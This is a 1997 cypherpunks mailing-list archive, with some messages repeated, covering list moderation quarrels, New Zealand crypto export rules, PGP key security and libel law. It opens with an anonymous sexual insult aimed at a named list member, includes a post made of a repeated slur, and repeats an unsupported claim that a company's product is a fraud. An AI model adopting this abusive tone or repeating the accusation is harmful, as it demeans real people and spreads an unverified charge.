From nobody at huge.cajones.com Sat Feb 1 00:08:55 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 1 Feb 1997 00:08:55 -0800 (PST) Subject: 40-bit encryption keys Message-ID: <199702010808.AAA20998@mailmasher.com> Dr.Dickhead L>ily< Vulis K>ondom< Of The Minute studied yoga back-stretching exercises for five years so he could blow himself (nobody else will). /o)\ Dr.Dickhead L>ily< Vulis K>ondom< Of The Minute \(o/ From paul at fatmans.demon.co.uk Sat Feb 1 00:44:48 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 1 Feb 1997 00:44:48 -0800 (PST) Subject: Cats Out of Bags Message-ID: <854786124.514498.0@fatmans.demon.co.uk> > Interestingly, the saying, "to let the cat out of the bag" is > related to the saying, "to buy a pig in a poke." A poke is a > sack or bag. In times past, street peddlers would sell a mark a > young pig. The pig was supposedly put into a poke, but in fact, > a bag with a cat in it was substituted. By the time the mark > figured out his mistake by "letting the cat out of the bag," the > peddler was long gone. The lesson the mark learned was "Don't > buy a pig in a poke." Thankyou Sandy for this highly crypto-relevant commentary presumably posted to the censored list so anyone with an interest in cryptography, cats and pigs can be suitably enlightened. Even if it wasn`t this would still be unworthy of the flames list. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Sat Feb 1 00:49:18 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 1 Feb 1997 00:49:18 -0800 (PST) Subject: Cocksucker Message-ID: <854786117.514461.0@fatmans.demon.co.uk> > cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksu > cocksuckercocksuckercocksuckercocksuckercocksuckercockscocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucker > cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksocksuckercocksuckercocksuckercoc > cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucke > cocksuckercocksuckercocksuckercocksuckercocksuckksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercoc > cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucksuckercocksuckercocksuckercocksu > cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit Sandy, Why was this sent to the flames list? - surely it wasn`t directed at any specific person and was therefore a comment on "wooly thinking" ??? Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From toto at sk.sympatico.ca Sat Feb 1 00:58:18 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 00:58:18 -0800 (PST) Subject: David E. Smith / Known Flamer In-Reply-To: <199702010618.AAA08230@manifold.algebra.com> Message-ID: <32F32265.AC@sk.sympatico.ca> Igor Chudov @ home wrote: > Shit happens, and it certainly happens with all moderators whom I know. Igor, I got private email from someone who has read most of your posts, and expressed confusion over 'whose side' you are 'on' in relation to the censored debate in regard to list censorship. I had to laugh, because the sad truth is, there are all too many people who seem unable to understand the concept of someone who is quite simply on the 'side' of 'truth', as much as humanly possible. I explained to him that you weren't 'fence hopping', but merely sitting on your own fence, observing, while everyone else runs around in circles. Please stay 'confusing'. Toto From toto at sk.sympatico.ca Sat Feb 1 01:21:46 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 01:21:46 -0800 (PST) Subject: Cocksucker In-Reply-To: <854786117.514461.0@fatmans.demon.co.uk> Message-ID: <32F3270B.61@sk.sympatico.ca> paul at fatmans.demon.co.uk wrote: cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit > > Sandy, > > Why was this sent to the flames list? - surely it wasn`t directed at > any specific person and was therefore a comment on "wooly thinking" > ??? This was a typo. It was supposed to say, cryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptoshit Toto From toto at sk.sympatico.ca Sat Feb 1 01:21:51 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 01:21:51 -0800 (PST) Subject: Libel & the 1st Amendment In-Reply-To: Message-ID: <32F327E4.30D5@sk.sympatico.ca> Mark M. wrote: > If the legal concept of libel is abandoned, this presumption will largely > disappear. People will have to rely on the credibility of the source, instead > of whether or not the victim of libel has sued. God forbid that people should have to use their judgement and their brains, rather than their overly charged emotions. Toto From toto at sk.sympatico.ca Sat Feb 1 01:45:26 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 01:45:26 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <32F32D6C.126C@sk.sympatico.ca> 3.5.1 Contrary to what people sometimes claim, there is no ruling clique of Cypherpunks. Anybody is free to do nearly anything, just not free to commit others to course of action, or claim to speak for the "Cypherpunks" as a group (and this last point is unenforceable except through reputation and social repercussions). 3.6.3 "Why isn't the list moderated?" ...hardly consistent with many of our anarchist leanings, is it? - "No, please, let's not become a 'moderated' newsgroup. This would be the end of freedom! From toto at sk.sympatico.ca Sat Feb 1 04:21:33 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 04:21:33 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702011118.AAA24621@mycroft.actrix.gen.nz> Message-ID: <32F351F9.77A3@sk.sympatico.ca> Paul Foley wrote: > On Fri, 31 Jan 1997 17:51:47 -0800, Toto wrote: >> If the repairman has your pubring and secring files, you can now >> consider them in the same light as a 'busted flush'. > > The secret key is encrypted using the same IDEA algorithm that PGP > uses to encrypt your files. If you trust IDEA, your key is as safe as > your passphrase (not at all if you have no passphrase, not much if > it's easily guessable, etc.) Send me your secring file. I have a new password-buster I'd like to try out on it. > If your computer repairman has the capability to crack strong 128-bit > ciphers, I'd be rather worried :-) He doesn't have to crack the cipher, he only needs to find the password. > On the other hand, there's always the possibility of your passphrase > being on the disk, say in a swap file, somewhere. Same goes for > plaintext of any encrypted files/messages. I doubt anyone's gonna go > hunting through your swap file, "empty" sectors, etc., looking for it, > though, unless you've done something to really piss him off lately :-) Or if he's a member of the CypherPunks list, read the message, and now considers it to be a personal challenge. Toto From talnewhart at intertemps.com Sat Feb 1 05:23:22 1997 From: talnewhart at intertemps.com (Talbert Newhart) Date: Sat, 1 Feb 1997 05:23:22 -0800 (PST) Subject: List Message-ID: <32F343DE.63EA@intertemps.com> Please put me on the Cypherpunk list. From frissell at panix.com Sat Feb 1 06:38:06 1997 From: frissell at panix.com (Duncan Frissell) Date: Sat, 1 Feb 1997 06:38:06 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <199702010740.XAA08867@toad.com> Message-ID: <3.0.1.32.19970201093919.017e2984@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:18 AM 2/1/97 GMT, Rob wrote: >On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote: > >>from http://www.herald.com/dade/digdocs/021949.htm >>Postal Service offers $25,000 reward for stolen . . . something > Mail Storage Box keys? DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMvNVkoVO4r4sgSPhAQG18AQA2g//lN1jUva1emDq/uQMNRy+1mIA/+Ug 5+0INso7kvCflVbterNDpWo0XoWR9tLrZ013vtcygaWUb07m/AWYBu/K322Tp7Zl nGDaGXFvUHLdJM+hgXyxQZoK/kfWqBiHw0zxczqr3LuwyDUQgFjrHcJb+/TKphBY JwdTTPZJNC0= =uGDj -----END PGP SIGNATURE----- From ichudov at algebra.com Sat Feb 1 07:22:49 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 1 Feb 1997 07:22:49 -0800 (PST) Subject: David E. Smith / Known Flamer In-Reply-To: <32F32265.AC@sk.sympatico.ca> Message-ID: <199702011516.JAA11212@manifold.algebra.com> right, in this particular case i am not on anyone's side. i think that both sides of the debate do not know what they are doing, but are very adept at creating paranoid theories about the other side. igor Toto wrote: > > Igor Chudov @ home wrote: > > > Shit happens, and it certainly happens with all moderators whom I know. > > Igor, > I got private email from someone who has read most of your posts, and > expressed confusion over 'whose side' you are 'on' in relation to the > censored debate in regard to list censorship. > I had to laugh, because the sad truth is, there are all too many people > who seem unable to understand the concept of someone who is quite simply > on the 'side' of 'truth', as much as humanly possible. > I explained to him that you weren't 'fence hopping', but merely sitting > on your own fence, observing, while everyone else runs around in > circles. > Please stay 'confusing'. > > Toto > - Igor. From aba at dcs.ex.ac.uk Sat Feb 1 07:41:29 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 1 Feb 1997 07:41:29 -0800 (PST) Subject: Geiger and long, unreadable lines In-Reply-To: <199701311510.HAA15741@toad.com> Message-ID: <199701280548.FAA00251@server.test.net> Mr William H. Geiger III "Author of E-Secure" writes: > for the benifit of those misfortunate enough to be still working on > dumb terminals I have disabled my PGP script until I have time to add a > word wrap routine to it. it is you who were demonstrating your ineptitude by spewing 120+ line length postings. Why is it so difficult for you to keep under 80 chars? Would you like some technical assistance? Notice how near every one else apart from yourself is managing to keep under 80 chars? Does every one apart from yourself live in the `dark ages'? I suppose you write letters on A4 landscape mode too? When I see a posting with such long lines I hit the `n' key. (cpunks-flames material? :-) Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: Talbert Newhart writes: > Please put me on the Cypherpunk list. The old cypherpunks list no longer exists. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sat Feb 1 08:10:22 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 1 Feb 1997 08:10:22 -0800 (PST) Subject: David E. Smith / Known Flamer In-Reply-To: Message-ID: Sandy Sandfort writes: > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > C'punks, > > On Fri, 31 Jan 1997, Dale Thorn wrote: > > > I was *not* speaking of posts headed for the "moderated" list, I was > > speaking of posts headed for the un-"moderated" list that would get > > lost due to "mistakes". > > > > Now I can understand how a censor could flub something going to a > > moderated list, but why the un-moderated list? > > Apparently, Dale does not understand the how the list is > moderated. When someone posts to Cypherpunks, it automatically > goes to the unedited list. I am subscribed to the unedited list. > When I read the unedited list, I forward each message I see there > to either the flames list or the moderated list. I have no > control over the unedited list. It goes out to everyone else at > the same time it goes out to me. I don't have a clue as to what > Dale is talking about. Dale is talking about the two messages from me that appeared on the unedited list but did not appear on either censored or "flames" list because Sandy chose not to forward them to either list. Both messages dealt were criticial of Sandy's employer, C2, and exposed their main product, Stronghold, as a fraud. Other messages may have "fallen between the cracks" in the past, but this was a controlled experiment. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From toto at sk.sympatico.ca Sat Feb 1 08:26:07 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 08:26:07 -0800 (PST) Subject: Libel & the 1st Amendment Message-ID: <199702011626.IAA20188@toad.com> Mark M. wrote: > If the legal concept of libel is abandoned, this presumption will largely > disappear. People will have to rely on the credibility of the source, instead > of whether or not the victim of libel has sued. God forbid that people should have to use their judgement and their brains, rather than their overly charged emotions. Toto From toto at sk.sympatico.ca Sat Feb 1 08:26:18 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 08:26:18 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702011626.IAA20196@toad.com> 3.5.1 Contrary to what people sometimes claim, there is no ruling clique of Cypherpunks. Anybody is free to do nearly anything, just not free to commit others to course of action, or claim to speak for the "Cypherpunks" as a group (and this last point is unenforceable except through reputation and social repercussions). 3.6.3 "Why isn't the list moderated?" ...hardly consistent with many of our anarchist leanings, is it? - "No, please, let's not become a 'moderated' newsgroup. This would be the end of freedom! From pete at idaho.ubisg.com Sat Feb 1 08:34:45 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Sat, 1 Feb 1997 08:34:45 -0800 (PST) Subject: Libel & the 1st Amendment In-Reply-To: <199701312213.OAA24431@toad.com> Message-ID: <199702011633.LAA20630@idaho.ubisg.com> Mark M. wrote: > On Thu, 30 Jan 1997, Jim Choate wrote: > > > > * Many 1st Amendment experts don't believe in the legal concept of libel. > > > It is, they say, a rich man's game > > > > Exactly, instead of equal protection under the law we have a specieocracy. > > Anyone can afford a contingency-free attorney as long as the plaintiff has a > good chance of being awarded damages. This has the benefit that the legal > system doesn't get overcrowded with frivolous cases. You mean to say, rich people can overcrowd the courts as much as they like, while others are restricted by contigency-only lawyers ( Call 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to control a poor one with many frivolous lawsuits ... while they can afford to file lawsuit after lawsuit, the poor person cannot defend himself. -- Pete Capelli, CNE UB Networks, Inc. pcapelli at ub.com ****** Finger pete at idaho.ubisg.com for my PGP Public key! ****** They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. - Benjamin Franklin, 1759 From frissell at panix.com Sat Feb 1 08:40:59 1997 From: frissell at panix.com (Duncan Frissell) Date: Sat, 1 Feb 1997 08:40:59 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702011640.IAA20586@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:18 AM 2/1/97 GMT, Rob wrote: >On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote: > >>from http://www.herald.com/dade/digdocs/021949.htm >>Postal Service offers $25,000 reward for stolen . . . something > Mail Storage Box keys? DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMvNVkoVO4r4sgSPhAQG18AQA2g//lN1jUva1emDq/uQMNRy+1mIA/+Ug 5+0INso7kvCflVbterNDpWo0XoWR9tLrZ013vtcygaWUb07m/AWYBu/K322Tp7Zl nGDaGXFvUHLdJM+hgXyxQZoK/kfWqBiHw0zxczqr3LuwyDUQgFjrHcJb+/TKphBY JwdTTPZJNC0= =uGDj -----END PGP SIGNATURE----- From toto at sk.sympatico.ca Sat Feb 1 08:41:08 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 08:41:08 -0800 (PST) Subject: Key Security Question Message-ID: <199702011641.IAA20618@toad.com> Paul Foley wrote: > On Fri, 31 Jan 1997 17:51:47 -0800, Toto wrote: >> If the repairman has your pubring and secring files, you can now >> consider them in the same light as a 'busted flush'. > > The secret key is encrypted using the same IDEA algorithm that PGP > uses to encrypt your files. If you trust IDEA, your key is as safe as > your passphrase (not at all if you have no passphrase, not much if > it's easily guessable, etc.) Send me your secring file. I have a new password-buster I'd like to try out on it. > If your computer repairman has the capability to crack strong 128-bit > ciphers, I'd be rather worried :-) He doesn't have to crack the cipher, he only needs to find the password. > On the other hand, there's always the possibility of your passphrase > being on the disk, say in a swap file, somewhere. Same goes for > plaintext of any encrypted files/messages. I doubt anyone's gonna go > hunting through your swap file, "empty" sectors, etc., looking for it, > though, unless you've done something to really piss him off lately :-) Or if he's a member of the CypherPunks list, read the message, and now considers it to be a personal challenge. Toto From pete at idaho.ubisg.com Sat Feb 1 08:41:11 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Sat, 1 Feb 1997 08:41:11 -0800 (PST) Subject: Libel & the 1st Amendment Message-ID: <199702011641.IAA20624@toad.com> Mark M. wrote: > On Thu, 30 Jan 1997, Jim Choate wrote: > > > > * Many 1st Amendment experts don't believe in the legal concept of libel. > > > It is, they say, a rich man's game > > > > Exactly, instead of equal protection under the law we have a specieocracy. > > Anyone can afford a contingency-free attorney as long as the plaintiff has a > good chance of being awarded damages. This has the benefit that the legal > system doesn't get overcrowded with frivolous cases. You mean to say, rich people can overcrowd the courts as much as they like, while others are restricted by contigency-only lawyers ( Call 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to control a poor one with many frivolous lawsuits ... while they can afford to file lawsuit after lawsuit, the poor person cannot defend himself. -- Pete Capelli, CNE UB Networks, Inc. pcapelli at ub.com ****** Finger pete at idaho.ubisg.com for my PGP Public key! ****** They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. - Benjamin Franklin, 1759 From pgut001 at cs.auckland.ac.nz Sat Feb 1 09:05:18 1997 From: pgut001 at cs.auckland.ac.nz (pgut001 at cs.auckland.ac.nz) Date: Sat, 1 Feb 1997 09:05:18 -0800 (PST) Subject: Crypto in New Zealand - an update Message-ID: <85481663218919@cs26.cs.auckland.ac.nz> This is a continuation of the article I posted here a few weeks ago. You can find the whole thing at http://jya.com/nsazeal.htm. Peter. -- Snip -- On the 17th January significant parts of this story appeared on the front page of the National Business Review (NBR), a fairly influential paper read by (apparently) half the NZ business world. The GCSB declined to comment on anything except to acknowledge that there had been a meeting between a GCSB person and the manager of Orion Systems. The story also confirms (from talking to some of the people involved) the GCSB - MFAT and GCSB - DSD connections. The following week Andrew Mayo wrote a letter to the editor of the NBR containing an eloquent defense of the use of encryption to protect personal privacy. MFAT replied to say that they were only following orders, and were required by the Wassenaar agreement to restrict crypto exports: "Export permits normally were required only if the encryption was 40-bit or stronger, so most commercial encryption would not be affected". I wonder where the 40-bit limit suddenly came from? Note also the phrasing "40-bit or stronger". This means that anything including 40 bits is restricted. If they're going to try to blindly parrot US policy then they should at least get their facts straight. A few days later I found someone who knew what to ask for in order to get a copy of the NZ export regulations. I called MFAT and talked to a gentleman by the name of John Borrie, who had recently taken over responsibility for this affair from someone else who, to put it mildly, had been annoying to deal with. I suggested to him that the GCSB were feeding him just the information they wanted him to know and no more, and that perhaps he should avail himself of alternate sources of advice. He didn't see it quite that way. The export regulations are identical to the Australian regulations, even down to the layout style. A few of the fonts differ, but that may be due to different systems/printers/whatever. There are several obvious holes in these regulations, but I won't mention them now because they'll probably be used in court fairly soon. The following week the story was again on the front page of the NBR. This time the story covered the financial difficulties that Cyphercom had been plunged into. Because MFAT had stopped them from having any access to their product for nine months, the company was considering filing for bankruptcy. MFAT spokesperson Caroline Forsyth commented: "US controls on the export of strategic goods are at least as strict as those of New Zealand... an export permit would normally only be required for encryption if it was 40-bit or stronger. Most commercial encryption is well below 40-bit strength. Almost all New Zealand exporters of software are unaffected". The confused and nonsensical nature of these statements presents a scary picture. MFAT are a government department who (in this area) have no idea what they're doing, but don't know that they have no idea. Combined with the sterling advice they seem to be getting from the GCSB, this could make them a tough nut to crack. In anticipation of what MFAT would say, I wrote a letter to the NBR editor (which won the "Letter of the Week" award :-) which refuted their claims. The letter ended with: It appears that MFAT's position is based on an antiquated outlook which regards software to secure electronic commerce as some form of special military technology, a position which might have been reasonable a few decades ago but is totally out of touch with the modern use of computers and electronic communications. In their October 1996 "Business File", MFAT claim that "New Zealand... is helping to limit the spread of increasingly sophisticated military technology and weapons of mass destruction". Whether mass-market commercial software which protects financial transactions and medical records counts as "sophisticated military technology" or "weapons of mass destruction" is unclear (I suppose it's possible to beat someone to death with a floppy disk if you were very determined, but that hardly qualifies as "mass destruction"). Finally, one of the goals of the Wassenaar agreement was to "not impede bona fide civil transactions", which MFAT have certainly done, and are continuing to do. In the meantime anyone with a credit card and phone, or the ability to walk into a software store, can buy the same software overseas. Stopping New Zealand companies from exporting widely available mass-market computer software of this kind "because terrorists might use it" makes about as much sense as stopping farmers from exporting beef and lamb "because terrorists might eat it". The issue of Management Technology Briefing included with last weeks NBR reports on page 22 that there will be "a US$186 billion market in global transactions by the year 2000", along with a comment that securing these transactions - one of the goals cryptlib was designed for - remains a problem area. Within the next few years the push towards electronic commerce will become a veritable steamroller. By needlessly blocking the export of the technology required to secure this market, MFAT is helping ensure that New Zealand becomes part of the roadkill. MFAT's parting shot was: "People trying to export encryption without clearance can be prosecuted under the Customs and Excise Act". I should certainly hope so! It's going to be difficult creating a test case to get this nonsense thrown out if they refuse to prosecute me. Stay tuned, this is going to get entertaining... From dlv at bwalk.dm.com Sat Feb 1 09:10:21 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 1 Feb 1997 09:10:21 -0800 (PST) Subject: Geiger and long, unreadable lines In-Reply-To: <199701280548.FAA00251@server.test.net> Message-ID: Adam Back writes: > > Mr William H. Geiger III "Author of E-Secure" writes: > > for the benifit of those misfortunate enough to be still working on > > dumb terminals I have disabled my PGP script until I have time to add a > > word wrap routine to it. > > it is you who were demonstrating your ineptitude by spewing > 120+ line length postings. Why is it so difficult for you to keep > under 80 chars? Would you like some technical assistance? Notice how > near every one else apart from yourself is managing to keep under 80 > chars? Notice how near every one else apart from yourself bends over for the NSA, and is willing to use a 40-bit key "escrowed" with the feds? Why is it so difficult for you to keep under 40 bits? Would you like some technical assistance? Why are you setting yourself apart from the Internet community that so happily embraces GAK? Why do you desire "privacy" for your traffic when everyone else does not? What have you got to hide? Are you looking to transmit child pornography, bomb-making instructions, and/or cannabis legalization propaganda? We better have a look at your hard disk soon. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From mgursk1 at umbc.edu Sat Feb 1 09:14:01 1997 From: mgursk1 at umbc.edu (Michael Gurski) Date: Sat, 1 Feb 1997 09:14:01 -0800 (PST) Subject: Stronghold -- unsubstatiated claims (was Re: David E. Smith / Known Flamer) In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Sat, 1 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > Both messages dealt were criticial of Sandy's employer, C2, and > exposed their main product, Stronghold, as a fraud. I assume that since you're making this claim about Stronghold, you have facts to back it up? |\/|ike Gurski mgursk1 at umbc.edu http://www.gl.umbc.edu/~mgursk1/ finger/mail subject "send pgpkey"|"send index" Hail Eris! -><- O- |Member, 1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570 | Team My opinions are mine alone, even if you should be sharing them. | OS/2 Senate Finance Committee Chair, SGA 1996-1997 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: I am not a number, I am a free man! iQCVAwUBMvN5YyKEMrE5tbrdAQHAPAP/fPLrPXcWySUn9y/fYJcAMtdJlQF8AH9p VEzlBMGM3qMEZcWW6no3TBN09MQgRH0xO7xHkHv/qaCZWxWYZYuJzvPXiCMChH3u L1sBMUqn7OZK5afLDjer2CvNd/dH1nAtUIfl6tEcePMrbi4e61uJ/Y70Q9JlZeoz AwDWPLw88gc= =zhfk -----END PGP SIGNATURE----- From dthorn at gte.net Sat Feb 1 09:37:37 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 09:37:37 -0800 (PST) Subject: David E. Smith / Known Flamer In-Reply-To: Message-ID: <32F37F07.8DF@gte.net> Sandy Sandfort wrote: > On Fri, 31 Jan 1997, Dale Thorn wrote: > > I was *not* speaking of posts headed for the "moderated" list, I was > > speaking of posts headed for the un-"moderated" list that would get > > lost due to "mistakes". > > Now I can understand how a censor could flub something going to a > > moderated list, but why the un-moderated list? > Apparently, Dale does not understand the how the list is > moderated. When someone posts to Cypherpunks, it automatically > goes to the unedited list. I am subscribed to the unedited list. > When I read the unedited list, I forward each message I see there > to either the flames list or the moderated list. I have no > control over the unedited list. It goes out to everyone else at > the same time it goes out to me. I don't have a clue as to what > Dale is talking about. I only said what I said in response to what Igor said. I didn't make an accusation myself, since I don't have the necessary info. From pgut001 at cs.auckland.ac.nz Sat Feb 1 09:40:51 1997 From: pgut001 at cs.auckland.ac.nz (pgut001 at cs.auckland.ac.nz) Date: Sat, 1 Feb 1997 09:40:51 -0800 (PST) Subject: Crypto in New Zealand - an update Message-ID: <199702011740.JAA21968@toad.com> This is a continuation of the article I posted here a few weeks ago. You can find the whole thing at http://jya.com/nsazeal.htm. Peter. -- Snip -- On the 17th January significant parts of this story appeared on the front page of the National Business Review (NBR), a fairly influential paper read by (apparently) half the NZ business world. The GCSB declined to comment on anything except to acknowledge that there had been a meeting between a GCSB person and the manager of Orion Systems. The story also confirms (from talking to some of the people involved) the GCSB - MFAT and GCSB - DSD connections. The following week Andrew Mayo wrote a letter to the editor of the NBR containing an eloquent defense of the use of encryption to protect personal privacy. MFAT replied to say that they were only following orders, and were required by the Wassenaar agreement to restrict crypto exports: "Export permits normally were required only if the encryption was 40-bit or stronger, so most commercial encryption would not be affected". I wonder where the 40-bit limit suddenly came from? Note also the phrasing "40-bit or stronger". This means that anything including 40 bits is restricted. If they're going to try to blindly parrot US policy then they should at least get their facts straight. A few days later I found someone who knew what to ask for in order to get a copy of the NZ export regulations. I called MFAT and talked to a gentleman by the name of John Borrie, who had recently taken over responsibility for this affair from someone else who, to put it mildly, had been annoying to deal with. I suggested to him that the GCSB were feeding him just the information they wanted him to know and no more, and that perhaps he should avail himself of alternate sources of advice. He didn't see it quite that way. The export regulations are identical to the Australian regulations, even down to the layout style. A few of the fonts differ, but that may be due to different systems/printers/whatever. There are several obvious holes in these regulations, but I won't mention them now because they'll probably be used in court fairly soon. The following week the story was again on the front page of the NBR. This time the story covered the financial difficulties that Cyphercom had been plunged into. Because MFAT had stopped them from having any access to their product for nine months, the company was considering filing for bankruptcy. MFAT spokesperson Caroline Forsyth commented: "US controls on the export of strategic goods are at least as strict as those of New Zealand... an export permit would normally only be required for encryption if it was 40-bit or stronger. Most commercial encryption is well below 40-bit strength. Almost all New Zealand exporters of software are unaffected". The confused and nonsensical nature of these statements presents a scary picture. MFAT are a government department who (in this area) have no idea what they're doing, but don't know that they have no idea. Combined with the sterling advice they seem to be getting from the GCSB, this could make them a tough nut to crack. In anticipation of what MFAT would say, I wrote a letter to the NBR editor (which won the "Letter of the Week" award :-) which refuted their claims. The letter ended with: It appears that MFAT's position is based on an antiquated outlook which regards software to secure electronic commerce as some form of special military technology, a position which might have been reasonable a few decades ago but is totally out of touch with the modern use of computers and electronic communications. In their October 1996 "Business File", MFAT claim that "New Zealand... is helping to limit the spread of increasingly sophisticated military technology and weapons of mass destruction". Whether mass-market commercial software which protects financial transactions and medical records counts as "sophisticated military technology" or "weapons of mass destruction" is unclear (I suppose it's possible to beat someone to death with a floppy disk if you were very determined, but that hardly qualifies as "mass destruction"). Finally, one of the goals of the Wassenaar agreement was to "not impede bona fide civil transactions", which MFAT have certainly done, and are continuing to do. In the meantime anyone with a credit card and phone, or the ability to walk into a software store, can buy the same software overseas. Stopping New Zealand companies from exporting widely available mass-market computer software of this kind "because terrorists might use it" makes about as much sense as stopping farmers from exporting beef and lamb "because terrorists might eat it". The issue of Management Technology Briefing included with last weeks NBR reports on page 22 that there will be "a US$186 billion market in global transactions by the year 2000", along with a comment that securing these transactions - one of the goals cryptlib was designed for - remains a problem area. Within the next few years the push towards electronic commerce will become a veritable steamroller. By needlessly blocking the export of the technology required to secure this market, MFAT is helping ensure that New Zealand becomes part of the roadkill. MFAT's parting shot was: "People trying to export encryption without clearance can be prosecuted under the Customs and Excise Act". I should certainly hope so! It's going to be difficult creating a test case to get this nonsense thrown out if they refuse to prosecute me. Stay tuned, this is going to get entertaining... From markm at voicenet.com Sat Feb 1 09:48:24 1997 From: markm at voicenet.com (Mark M.) Date: Sat, 1 Feb 1997 09:48:24 -0800 (PST) Subject: Libel & the 1st Amendment In-Reply-To: <199702011633.LAA20630@idaho.ubisg.com> Message-ID: On Sat, 1 Feb 1997, Peter J. Capelli wrote: > You mean to say, rich people can overcrowd the courts as much as they > like, while others are restricted by contigency-only lawyers ( Call > 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to > control > a poor one with many frivolous lawsuits ... while they can afford to file > lawsuit after lawsuit, the poor person cannot defend himself. What, exactly, would be the point of suing a poor person? Mark From jimbell at pacifier.com Sat Feb 1 10:33:35 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 10:33:35 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702011833.KAA03879@mail.pacifier.com> At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote: > > >jim bell wrote in article <5ch9f2$cuu at life.ai.mit.edu>... > >> Look, I've proposed what I consider to be a remarkably consistent method to >> prevent the kind of political tyranny that you criticize, and I don't see >> any recognition of this fact. > >Thats because its a whacko solution that has no credibility >or consistency. I'm still waiting for you to explain what you believe to be the "problem" for which we are searching a solution. Is the problem that there is slavery? Or do you think the only problem is that the slaves are unhappy? Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Sat Feb 1 10:55:27 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 10:55:27 -0800 (PST) Subject: Fighting the cybercensor Message-ID: 